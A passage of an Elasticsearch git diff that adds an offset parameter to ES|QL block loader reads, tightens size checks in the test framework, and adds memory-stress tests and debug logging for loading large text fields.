+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0), equalTo(expected));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(expected.subList(1, 2)));
                 assertThat(blockLoaderReadValuesFromRowStrideReader(reader, fieldType), equalTo(expected));
             }
         }
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/KeywordScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/KeywordScriptFieldTypeTests.java
index 57d52991a6442..ccc8ccac4deb4 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/KeywordScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/KeywordScriptFieldTypeTests.java
@@ -409,9 +409,10 @@ public void testBlockLoader() throws IOException {
             try (DirectoryReader reader = iw.getReader()) {
                 KeywordScriptFieldType fieldType = build("append_param", Map.of("param", "-Suffix"), OnScriptError.FAIL);
                 assertThat(
-                    blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType),
+                    blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0),
                     equalTo(List.of(new BytesRef("1-Suffix"), new BytesRef("2-Suffix")))
                 );
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(List.of(new BytesRef("2-Suffix"))));
                 assertThat(
                     blockLoaderReadValuesFromRowStrideReader(reader, fieldType),
                     equalTo(List.of(new BytesRef("1-Suffix"), new BytesRef("2-Suffix")))
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/LongScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/LongScriptFieldTypeTests.java
index a8cb4d51c5efa..01f96a1a4b1be 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/LongScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/LongScriptFieldTypeTests.java
@@ -295,7 +295,8 @@ public void testBlockLoader() throws IOException {
             );
             try (DirectoryReader reader = iw.getReader()) {
                 LongScriptFieldType fieldType = build("add_param", Map.of("param", 1), OnScriptError.FAIL);
-                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType), equalTo(List.of(2L, 3L)));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0), equalTo(List.of(2L, 3L)));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(List.of(3L)));
                 assertThat(blockLoaderReadValuesFromRowStrideReader(reader, fieldType), equalTo(List.of(2L, 3L)));
             }
         }
diff --git a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/Clusters.java b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/Clusters.java
index 1c237404a78cc..bc5e1f123fe81 100644
--- a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/Clusters.java
+++ b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/Clusters.java
@@ -22,6 +22,7 @@ static ElasticsearchCluster buildCluster() {
             .setting("xpack.security.enabled", "false")
             .setting("xpack.license.self_generated.type", "trial")
             .setting("esql.query.allow_partial_results", "false")
+            .setting("logger.org.elasticsearch.compute.lucene.read", "DEBUG")
             .jvmArg("-Xmx512m");
         String javaVersion = JvmInfo.jvmInfo().version();
         if (javaVersion.equals("20") || javaVersion.equals("21")) {
diff --git a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
index 3912a63ef1514..893acbd22cc23 100644
--- a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
+++ b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
@@ -570,7 +570,7 @@ protected RestClient buildClient(Settings settings, HttpHost[] hosts) throws IOE
     }
 
     public void testFetchManyBigFields() throws IOException {
-        initManyBigFieldsIndex(100);
+        initManyBigFieldsIndex(100, "keyword");
         Map<?, ?> response = fetchManyBigFields(100);
         ListMatcher columns = matchesList();
         for (int f = 0; f < 1000; f++) {
@@ -580,7 +580,7 @@ public void testFetchManyBigFields() throws IOException {
     }
 
     public void testFetchTooManyBigFields() throws IOException {
-        initManyBigFieldsIndex(500);
+        initManyBigFieldsIndex(500, "keyword");
         // 500 docs is plenty to circuit break on most nodes
         assertCircuitBreaks(attempt -> fetchManyBigFields(attempt * 500));
     }
@@ -594,6 +594,58 @@ private Map<String, Object> fetchManyBigFields(int docs) throws IOException {
         return responseAsMap(query(query.toString(), "columns"));
     }
 
+    public void testAggManyBigTextFields() throws IOException {
+        int docs = 100;
+        int fields = 100;
+        initManyBigFieldsIndex(docs, "text");
+        Map<?, ?> response = aggManyBigFields(fields);
+        ListMatcher columns = matchesList().item(matchesMap().entry("name", "sum").entry("type", "long"));
+        assertMap(
+            response,
+            matchesMap().entry("columns", columns).entry("values", matchesList().item(matchesList().item(1024 * fields * docs)))
+        );
+    }
+
+    /**
+     * Aggregates documents containing many fields which are {@code 1kb} each.
+     */
+    private Map<String, Object> aggManyBigFields(int fields) throws IOException {
+        StringBuilder query = startQuery();
+        query.append("FROM manybigfields | STATS sum = SUM(");
+        query.append("LENGTH(f").append(String.format(Locale.ROOT, "%03d", 0)).append(")");
+        for (int f = 1; f < fields; f++) {
+            query.append(" + LENGTH(f").append(String.format(Locale.ROOT, "%03d", f)).append(")");
+        }
+        query.append(")\"}");
+        return responseAsMap(query(query.toString(), "columns,values"));
+    }
+
+    /**
+     * Aggregates on the {@code LENGTH} of a giant text field. Without
+     * splitting pages on load (#131053) this throws a {@link CircuitBreakingException}
+     * when it tries to load a giant field. With that change it finishes
+     * after loading many single-row pages.
+     */
+    public void testAggGiantTextField() throws IOException {
+        int docs = 100;
+        initGiantTextField(docs);
+        Map<?, ?> response = aggGiantTextField();
+        ListMatcher columns = matchesList().item(matchesMap().entry("name", "sum").entry("type", "long"));
+        assertMap(
+            response,
+            matchesMap().entry("columns", columns).entry("values", matchesList().item(matchesList().item(1024 * 1024 * 5 * docs)))
+        );
+    }
+
+    /**
+     * Aggregates documents containing a text field that is {@code 1mb} each.
+     */
+    private Map<String, Object> aggGiantTextField() throws IOException {
+        StringBuilder query = startQuery();
+        query.append("FROM bigtext | STATS sum = SUM(LENGTH(f))\"}");
+        return responseAsMap(query(query.toString(), "columns,values"));
+    }
+
     public void testAggMvLongs() throws IOException {
         int fieldValues = 100;
         initMvLongsIndex(1, 3, fieldValues);
@@ -788,7 +840,7 @@ private void initSingleDocIndex() throws IOException {
             """);
     }
 
-    private void initManyBigFieldsIndex(int docs) throws IOException {
+    private void initManyBigFieldsIndex(int docs, String type) throws IOException {
         logger.info("loading many documents with many big fields");
         int docsPerBulk = 5;
         int fields = 1000;
@@ -799,7 +851,7 @@ private void initManyBigFieldsIndex(int docs) throws IOException {
         config.startObject("settings").field("index.mapping.total_fields.limit", 10000).endObject();
         config.startObject("mappings").startObject("properties");
         for (int f = 0; f < fields; f++) {
-            config.startObject("f" + String.format(Locale.ROOT, "%03d", f)).field("type", "keyword").endObject();
+            config.startObject("f" + String.format(Locale.ROOT, "%03d", f)).field("type", type).endObject();
         }
         config.endObject().endObject();
         request.setJsonEntity(Strings.toString(config.endObject()));
@@ -831,6 +883,37 @@ private void initManyBigFieldsIndex(int docs) throws IOException {
         initIndex("manybigfields", bulk.toString());
     }
 
+    private void initGiantTextField(int docs) throws IOException {
+        logger.info("loading many documents with one big text field");
+        int docsPerBulk = 3;
+        int fieldSize = Math.toIntExact(ByteSizeValue.ofMb(5).getBytes());
+
+        Request request = new Request("PUT", "/bigtext");
+        XContentBuilder config = JsonXContent.contentBuilder().startObject();
+        config.startObject("mappings").startObject("properties");
+        config.startObject("f").field("type", "text").endObject();
+        config.endObject().endObject();
+        request.setJsonEntity(Strings.toString(config.endObject()));
+        Response response = client().performRequest(request);
+        assertThat(
+            EntityUtils.toString(response.getEntity(), StandardCharsets.UTF_8),
+            equalTo("{\"acknowledged\":true,\"shards_acknowledged\":true,\"index\":\"bigtext\"}")
+        );
+
+        StringBuilder bulk = new StringBuilder();
+        for (int d = 0; d < docs; d++) {
+            bulk.append("{\"create\":{}}\n");
+            bulk.append("{\"f\":\"");
+            bulk.append(Integer.toString(d % 10).repeat(fieldSize));
+            bulk.append("\"}\n");
+            if (d % docsPerBulk == docsPerBulk - 1 && d != docs - 1) {
+                bulk("bigtext", bulk.toString());
+                bulk.setLength(0);
+            }
+        }
+        initIndex("bigtext", bulk.toString());
+    }
+
     private void initMvLongsIndex(int docs, int fields, int fieldValues) throws IOException {
         logger.info("loading documents with many multivalued longs");
         int docsPerBulk = 100;
diff --git a/test/framework/src/main/java/org/elasticsearch/index/mapper/AbstractScriptFieldTypeTestCase.java b/test/framework/src/main/java/org/elasticsearch/index/mapper/AbstractScriptFieldTypeTestCase.java
index 1c785d58f9804..f099aaac463db 100644
--- a/test/framework/src/main/java/org/elasticsearch/index/mapper/AbstractScriptFieldTypeTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/index/mapper/AbstractScriptFieldTypeTestCase.java
@@ -420,13 +420,12 @@ public final void testCacheable() throws IOException {
         }
     }
 
-    protected final List<Object> blockLoaderReadValuesFromColumnAtATimeReader(DirectoryReader reader, MappedFieldType fieldType)
+    protected final List<Object> blockLoaderReadValuesFromColumnAtATimeReader(DirectoryReader reader, MappedFieldType fieldType, int offset)
         throws IOException {
         BlockLoader loader = fieldType.blockLoader(blContext());
         List<Object> all = new ArrayList<>();
         for (LeafReaderContext ctx : reader.leaves()) {
-            TestBlock block = (TestBlock) loader.columnAtATimeReader(ctx)
-                .read(TestBlock.factory(ctx.reader().numDocs()), TestBlock.docs(ctx));
+            TestBlock block = (TestBlock) loader.columnAtATimeReader(ctx).read(TestBlock.factory(), TestBlock.docs(ctx), offset);
             for (int i = 0; i < block.size(); i++) {
                 all.add(block.get(i));
             }
@@ -440,7 +439,7 @@ protected final List<Object> blockLoaderReadValuesFromRowStrideReader(DirectoryR
         List<Object> all = new ArrayList<>();
         for (LeafReaderContext ctx : reader.leaves()) {
             BlockLoader.RowStrideReader blockReader = loader.rowStrideReader(ctx);
-            BlockLoader.Builder builder = loader.builder(TestBlock.factory(ctx.reader().numDocs()), ctx.reader().numDocs());
+            BlockLoader.Builder builder = loader.builder(TestBlock.factory(), ctx.reader().numDocs());
             for (int i = 0; i < ctx.reader().numDocs(); i++) {
                 blockReader.read(i, null, builder);
             }
diff --git a/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java b/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
index e35a53c0ecca8..eeb1a349d8bbc 100644
--- a/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
+++ b/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
@@ -36,6 +36,8 @@
 import static org.apache.lucene.tests.util.LuceneTestCase.newDirectory;
 import static org.apache.lucene.tests.util.LuceneTestCase.random;
 import static org.elasticsearch.index.mapper.BlockLoaderTestRunner.PrettyEqual.prettyEqualTo;
+import static org.elasticsearch.test.ESTestCase.between;
+import static org.elasticsearch.test.ESTestCase.randomBoolean;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.equalTo;
 
@@ -69,7 +71,11 @@ private Object setupAndInvokeBlockLoader(MapperService mapperService, XContentBu
             );
             LuceneDocument doc = mapperService.documentMapper().parse(source).rootDoc();
 
-            iw.addDocument(doc);
+            /*
+             * Add three documents with doc id 0, 1, 2. The real document is 1.
+             * The other two are empty documents.
+             */
+            iw.addDocuments(List.of(List.of(), doc, List.of()));
             iw.close();
 
             try (DirectoryReader reader = DirectoryReader.open(directory)) {
@@ -83,9 +89,32 @@ private Object load(BlockLoader blockLoader, LeafReaderContext context, MapperSe
         // `columnAtATimeReader` is tried first, we mimic `ValuesSourceReaderOperator`
         var columnAtATimeReader = blockLoader.columnAtATimeReader(context);
         if (columnAtATimeReader != null) {
-            BlockLoader.Docs docs = TestBlock.docs(0);
-            var block = (TestBlock) columnAtATimeReader.read(TestBlock.factory(context.reader().numDocs()), docs);
-            assertThat(block.size(), equalTo(1));
+            int[] docArray;
+            int offset;
+            if (randomBoolean()) {
+                // Half the time we load a single document. Nice and simple.
+                docArray = new int[] { 1 };
+                offset = 0;
+            } else {
+                /*
+                 * The other half the time we emulate loading a larger page,
+                 * starting part way through the page.
+                 */
+                docArray = new int[between(2, 10)];
+                offset = between(0, docArray.length - 1);
+                for (int i = 0; i < docArray.length; i++) {
+                    if (i < offset) {
+                        docArray[i] = 0;
+                    } else if (i == offset) {
+                        docArray[i] = 1;
+                    } else {
+                        docArray[i] = 2;
+                    }
+                }
+            }
+            BlockLoader.Docs docs = TestBlock.docs(docArray);
+            var block = (TestBlock) columnAtATimeReader.read(TestBlock.factory(), docs, offset);
+            assertThat(block.size(), equalTo(docArray.length - offset));
             return block.get(0);
         }
 
@@ -102,10 +131,10 @@ private Object load(BlockLoader blockLoader, LeafReaderContext context, MapperSe
             StoredFieldLoader.fromSpec(storedFieldsSpec).getLoader(context, null),
             leafSourceLoader
         );
-        storedFieldsLoader.advanceTo(0);
+        storedFieldsLoader.advanceTo(1);
 
-        BlockLoader.Builder builder = blockLoader.builder(TestBlock.factory(context.reader().numDocs()), 1);
-        blockLoader.rowStrideReader(context).read(0, storedFieldsLoader, builder);
+        BlockLoader.Builder builder = blockLoader.builder(TestBlock.factory(), 1);
+        blockLoader.rowStrideReader(context).read(1, storedFieldsLoader, builder);
         var block = (TestBlock) builder.build();
         assertThat(block.size(), equalTo(1));
 
diff --git a/test/framework/src/main/java/org/elasticsearch/index/mapper/TestBlock.java b/test/framework/src/main/java/org/elasticsearch/index/mapper/TestBlock.java
index 779d7a2a976d9..b746609f8d659 100644
--- a/test/framework/src/main/java/org/elasticsearch/index/mapper/TestBlock.java
+++ b/test/framework/src/main/java/org/elasticsearch/index/mapper/TestBlock.java
@@ -12,6 +12,7 @@
 import org.apache.lucene.index.LeafReaderContext;
 import org.apache.lucene.index.SortedDocValues;
 import org.apache.lucene.util.BytesRef;
+import org.hamcrest.Matcher;
 
 import java.io.IOException;
 import java.io.UncheckedIOException;
@@ -19,11 +20,14 @@
 import java.util.HashMap;
 import java.util.List;
 
+import static org.elasticsearch.test.ESTestCase.assertThat;
+import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.hasSize;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 
 public class TestBlock implements BlockLoader.Block {
-    public static BlockLoader.BlockFactory factory(int pageSize) {
+    public static BlockLoader.BlockFactory factory() {
         return new BlockLoader.BlockFactory() {
             @Override
             public BlockLoader.BooleanBuilder booleansFromDocValues(int expectedCount) {
@@ -33,6 +37,10 @@ public BlockLoader.BooleanBuilder booleansFromDocValues(int expectedCount) {
             @Override
             public BlockLoader.BooleanBuilder booleans(int expectedCount) {
                 class BooleansBuilder extends TestBlock.Builder implements BlockLoader.BooleanBuilder {
+                    private BooleansBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public BooleansBuilder appendBoolean(boolean value) {
                         add(value);
@@ -44,12 +52,27 @@ public BooleansBuilder appendBoolean(boolean value) {
 
             @Override
             public BlockLoader.BytesRefBuilder bytesRefsFromDocValues(int expectedCount) {
-                return bytesRefs(expectedCount);
+                class BytesRefsFromDocValuesBuilder extends TestBlock.Builder implements BlockLoader.BytesRefBuilder {
+                    private BytesRefsFromDocValuesBuilder() {
+                        super(expectedCount);
+                    }
+
+                    @Override
+                    public BytesRefsFromDocValuesBuilder appendBytesRef(BytesRef value) {
+                        add(BytesRef.deepCopyOf(value));
+                        return this;
+                    }
+                }
+                return new BytesRefsFromDocValuesBuilder();
             }
 
             @Override
             public BlockLoader.BytesRefBuilder bytesRefs(int expectedCount) {
                 class BytesRefsBuilder extends TestBlock.Builder implements BlockLoader.BytesRefBuilder {
+                    private BytesRefsBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public BytesRefsBuilder appendBytesRef(BytesRef value) {
                         add(BytesRef.deepCopyOf(value));
@@ -67,6 +90,10 @@ public BlockLoader.DoubleBuilder doublesFromDocValues(int expectedCount) {
             @Override
             public BlockLoader.DoubleBuilder doubles(int expectedCount) {
                 class DoublesBuilder extends TestBlock.Builder implements BlockLoader.DoubleBuilder {
+                    private DoublesBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public DoublesBuilder appendDouble(double value) {
                         add(value);
@@ -81,6 +108,10 @@ public BlockLoader.FloatBuilder denseVectors(int expectedCount, int dimensions)
                 class FloatsBuilder extends TestBlock.Builder implements BlockLoader.FloatBuilder {
                     int numElements = 0;
 
+                    private FloatsBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public BlockLoader.FloatBuilder appendFloat(float value) {
                         add(value);
@@ -117,6 +148,10 @@ public BlockLoader.IntBuilder intsFromDocValues(int expectedCount) {
             @Override
             public BlockLoader.IntBuilder ints(int expectedCount) {
                 class IntsBuilder extends TestBlock.Builder implements BlockLoader.IntBuilder {
+                    private IntsBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public IntsBuilder appendInt(int value) {
                         add(value);
@@ -134,6 +169,10 @@ public BlockLoader.LongBuilder longsFromDocValues(int expectedCount) {
             @Override
             public BlockLoader.LongBuilder longs(int expectedCount) {
                 class LongsBuilder extends TestBlock.Builder implements BlockLoader.LongBuilder {
+                    private LongsBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public LongsBuilder appendLong(long value) {
                         add(value);
@@ -149,26 +188,30 @@ public BlockLoader.Builder nulls(int expectedCount) {
             }
 
             @Override
-            public BlockLoader.Block constantNulls() {
-                BlockLoader.LongBuilder builder = longs(pageSize);
-                for (int i = 0; i < pageSize; i++) {
+            public BlockLoader.Block constantNulls(int count) {
+                BlockLoader.LongBuilder builder = longs(count);
+                for (int i = 0; i < count; i++) {
                     builder.appendNull();
                 }
                 return builder.build();
             }
 
             @Override
-            public BlockLoader.Block constantBytes(BytesRef value) {
-                BlockLoader.BytesRefBuilder builder = bytesRefs(pageSize);
-                for (int i = 0; i < pageSize; i++) {
+            public BlockLoader.Block constantBytes(BytesRef value, int count) {
+                BlockLoader.BytesRefBuilder builder = bytesRefs(count);
+                for (int i = 0; i < count; i++) {
                     builder.appendBytesRef(value);
                 }
                 return builder.build();
             }
 
             @Override
-            public BlockLoader.SingletonOrdinalsBuilder singletonOrdinalsBuilder(SortedDocValues ordinals, int count) {
+            public BlockLoader.SingletonOrdinalsBuilder singletonOrdinalsBuilder(SortedDocValues ordinals, int expectedCount) {
                 class SingletonOrdsBuilder extends TestBlock.Builder implements BlockLoader.SingletonOrdinalsBuilder {
+                    private SingletonOrdsBuilder() {
+                        super(expectedCount);
+                    }
+
                     @Override
                     public SingletonOrdsBuilder appendOrd(int value) {
                         try {
@@ -183,8 +226,8 @@ public SingletonOrdsBuilder appendOrd(int value) {
             }
 
             @Override
-            public BlockLoader.AggregateMetricDoubleBuilder aggregateMetricDoubleBuilder(int count) {
-                return new AggregateMetricDoubleBlockBuilder();
+            public BlockLoader.AggregateMetricDoubleBuilder aggregateMetricDoubleBuilder(int expectedSize) {
+                return new AggregateMetricDoubleBlockBuilder(expectedSize);
             }
         };
     }
@@ -239,8 +282,14 @@ public void close() {
     private abstract static class Builder implements BlockLoader.Builder {
         private final List<Object> values = new ArrayList<>();
 
+        private Matcher<Integer> expectedSize;
+
         private List<Object> currentPosition = null;
 
+        private Builder(int expectedSize) {
+            this.expectedSize = equalTo(expectedSize);
+        }
+
         @Override
         public Builder appendNull() {
             assertNull(currentPosition);
@@ -269,6 +318,7 @@ protected void add(Object value) {
 
         @Override
         public TestBlock build() {
+            assertThat(values, hasSize(expectedSize));
             return new TestBlock(values);
         }
 
@@ -283,12 +333,23 @@ public void close() {
      * The implementation here is fairly close to the production one.
      */
     private static class AggregateMetricDoubleBlockBuilder implements BlockLoader.AggregateMetricDoubleBuilder {
-        private final DoubleBuilder min = new DoubleBuilder();
-        private final DoubleBuilder max = new DoubleBuilder();
-        private final DoubleBuilder sum = new DoubleBuilder();
-        private final IntBuilder count = new IntBuilder();
+        private final DoubleBuilder min;
+        private final DoubleBuilder max;
+        private final DoubleBuilder sum;
+        private final IntBuilder count;
+
+        private AggregateMetricDoubleBlockBuilder(int expectedSize) {
+            min = new DoubleBuilder(expectedSize);
+            max = new DoubleBuilder(expectedSize);
+            sum = new DoubleBuilder(expectedSize);
+            count = new IntBuilder(expectedSize);
+        }
 
         private static class DoubleBuilder extends TestBlock.Builder implements BlockLoader.DoubleBuilder {
+            private DoubleBuilder(int expectedSize) {
+                super(expectedSize);
+            }
+
             @Override
             public BlockLoader.DoubleBuilder appendDouble(double value) {
                 add(value);
@@ -297,6 +358,10 @@ public BlockLoader.DoubleBuilder appendDouble(double value) {
         }
 
         private static class IntBuilder extends TestBlock.Builder implements BlockLoader.IntBuilder {
+            private IntBuilder(int expectedSize) {
+                super(expectedSize);
+            }
+
             @Override
             public BlockLoader.IntBuilder appendInt(int value) {
                 add(value);
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/DocVector.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/DocVector.java
index 20ca4ed70e3f8..ccd0f82343401 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/DocVector.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/DocVector.java
@@ -138,7 +138,6 @@ private boolean checkIfSingleSegmentNonDecreasing() {
             prev = v;
         }
         return true;
-
     }
 
     /**
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
index f7f5f541c747f..20e7ffc4ca2cb 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
@@ -14,18 +14,16 @@
 import org.elasticsearch.core.Releasable;
 
 class ComputeBlockLoaderFactory extends DelegatingBlockLoaderFactory implements Releasable {
-    private final int pageSize;
     private Block nullBlock;
 
-    ComputeBlockLoaderFactory(BlockFactory factory, int pageSize) {
+    ComputeBlockLoaderFactory(BlockFactory factory) {
         super(factory);
-        this.pageSize = pageSize;
     }
 
     @Override
-    public Block constantNulls() {
+    public Block constantNulls(int count) {
         if (nullBlock == null) {
-            nullBlock = factory.newConstantNullBlock(pageSize);
+            nullBlock = factory.newConstantNullBlock(count);
         }
         nullBlock.incRef();
         return nullBlock;
@@ -39,7 +37,7 @@ public void close() {
     }
 
     @Override
-    public BytesRefBlock constantBytes(BytesRef value) {
-        return factory.newConstantBytesRefBlockWith(value, pageSize);
+    public BytesRefBlock constantBytes(BytesRef value, int count) {
+        return factory.newConstantBytesRefBlockWith(value, count);
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
index 9ec5802b43f98..b5820929ba290 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
@@ -198,12 +198,12 @@ static class BlockLoaderFactory extends DelegatingBlockLoaderFactory {
         }
 
         @Override
-        public BlockLoader.Block constantNulls() {
+        public BlockLoader.Block constantNulls(int count) {
             throw new UnsupportedOperationException("must not be used by column readers");
         }
 
         @Override
-        public BlockLoader.Block constantBytes(BytesRef value) {
+        public BlockLoader.Block constantBytes(BytesRef value, int count) {
             throw new UnsupportedOperationException("must not be used by column readers");
         }
 
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
index 7ff6e7211b7f2..6f00e97a1f9f2 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
@@ -16,6 +16,8 @@
 import org.elasticsearch.index.mapper.BlockLoader;
 import org.elasticsearch.index.mapper.BlockLoaderStoredFieldsFromLeafLoader;
 import org.elasticsearch.index.mapper.SourceLoader;
+import org.elasticsearch.logging.LogManager;
+import org.elasticsearch.logging.Logger;
 import org.elasticsearch.search.fetch.StoredFieldsSpec;
 
 import java.io.IOException;
@@ -24,6 +26,8 @@
  * Loads values from a many leaves. Much less efficient than {@link ValuesFromSingleReader}.
  */
 class ValuesFromManyReader extends ValuesReader {
+    private static final Logger log = LogManager.getLogger(ValuesFromManyReader.class);
+
     private final int[] forwards;
     private final int[] backwards;
     private final BlockLoader.RowStrideReader[] rowStride;
@@ -35,6 +39,7 @@ class ValuesFromManyReader extends ValuesReader {
         forwards = docs.shardSegmentDocMapForwards();
         backwards = docs.shardSegmentDocMapBackwards();
         rowStride = new BlockLoader.RowStrideReader[operator.fields.length];
+        log.debug("initializing {} positions", docs.getPositionCount());
     }
 
     @Override
@@ -70,9 +75,7 @@ void run(int offset) throws IOException {
                 builders[f] = new Block.Builder[operator.shardContexts.size()];
                 converters[f] = new BlockLoader[operator.shardContexts.size()];
             }
-            try (
-                ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory, docs.getPositionCount())
-            ) {
+            try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory)) {
                 int p = forwards[offset];
                 int shard = docs.shards().getInt(p);
                 int segment = docs.segments().getInt(p);
@@ -84,7 +87,9 @@ void run(int offset) throws IOException {
                 read(firstDoc, shard);
 
                 int i = offset + 1;
-                while (i < forwards.length) {
+                long estimated = estimatedRamBytesUsed();
+                long dangerZoneBytes = Long.MAX_VALUE; // TODO danger_zone if ascending
+                while (i < forwards.length && estimated < dangerZoneBytes) {
                     p = forwards[i];
                     shard = docs.shards().getInt(p);
                     segment = docs.segments().getInt(p);
@@ -96,8 +101,17 @@ void run(int offset) throws IOException {
                     verifyBuilders(loaderBlockFactory, shard);
                     read(docs.docs().getInt(p), shard);
                     i++;
+                    estimated = estimatedRamBytesUsed();
+                    log.trace("{}: bytes loaded {}/{}", p, estimated, dangerZoneBytes);
                 }
                 buildBlocks();
+                if (log.isDebugEnabled()) {
+                    long actual = 0;
+                    for (Block b : target) {
+                        actual += b.ramBytesUsed();
+                    }
+                    log.debug("loaded {} positions total estimated/actual {}/{} bytes", p, estimated, actual);
+                }
             }
         }
 
@@ -115,6 +129,9 @@ private void buildBlocks() {
                 }
                 operator.sanityCheckBlock(rowStride[f], backwards.length, target[f], f);
             }
+            if (target[0].getPositionCount() != docs.getPositionCount()) {
+                throw new IllegalStateException("partial pages not yet supported");
+            }
         }
 
         private void verifyBuilders(ComputeBlockLoaderFactory loaderBlockFactory, int shard) {
@@ -141,6 +158,18 @@ public void close() {
                 Releasables.closeExpectNoException(builders[f]);
             }
         }
+
+        private long estimatedRamBytesUsed() {
+            long estimated = 0;
+            for (Block.Builder[] builders : this.builders) {
+                for (Block.Builder builder : builders) {
+                    if (builder != null) {
+                        estimated += builder.estimatedBytes();
+                    }
+                }
+            }
+            return estimated;
+        }
     }
 
     private void fieldsMoved(LeafReaderContext ctx, int shard) throws IOException {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
index 1bee68160e024..d47a015c24578 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
@@ -16,6 +16,8 @@
 import org.elasticsearch.index.mapper.BlockLoader;
 import org.elasticsearch.index.mapper.BlockLoaderStoredFieldsFromLeafLoader;
 import org.elasticsearch.index.mapper.SourceLoader;
+import org.elasticsearch.logging.LogManager;
+import org.elasticsearch.logging.Logger;
 import org.elasticsearch.search.fetch.StoredFieldsSpec;
 
 import java.io.IOException;
@@ -26,6 +28,8 @@
  * Loads values from a single leaf. Much more efficient than {@link ValuesFromManyReader}.
  */
 class ValuesFromSingleReader extends ValuesReader {
+    private static final Logger log = LogManager.getLogger(ValuesFromSingleReader.class);
+
     /**
      * Minimum number of documents for which it is more efficient to use a
      * sequential stored field reader when reading stored fields.
@@ -45,39 +49,27 @@ class ValuesFromSingleReader extends ValuesReader {
         super(operator, docs);
         this.shard = docs.shards().getInt(0);
         this.segment = docs.segments().getInt(0);
+        log.debug("initialized {} positions", docs.getPositionCount());
     }
 
     @Override
     protected void load(Block[] target, int offset) throws IOException {
-        assert offset == 0; // TODO allow non-0 offset to support splitting pages
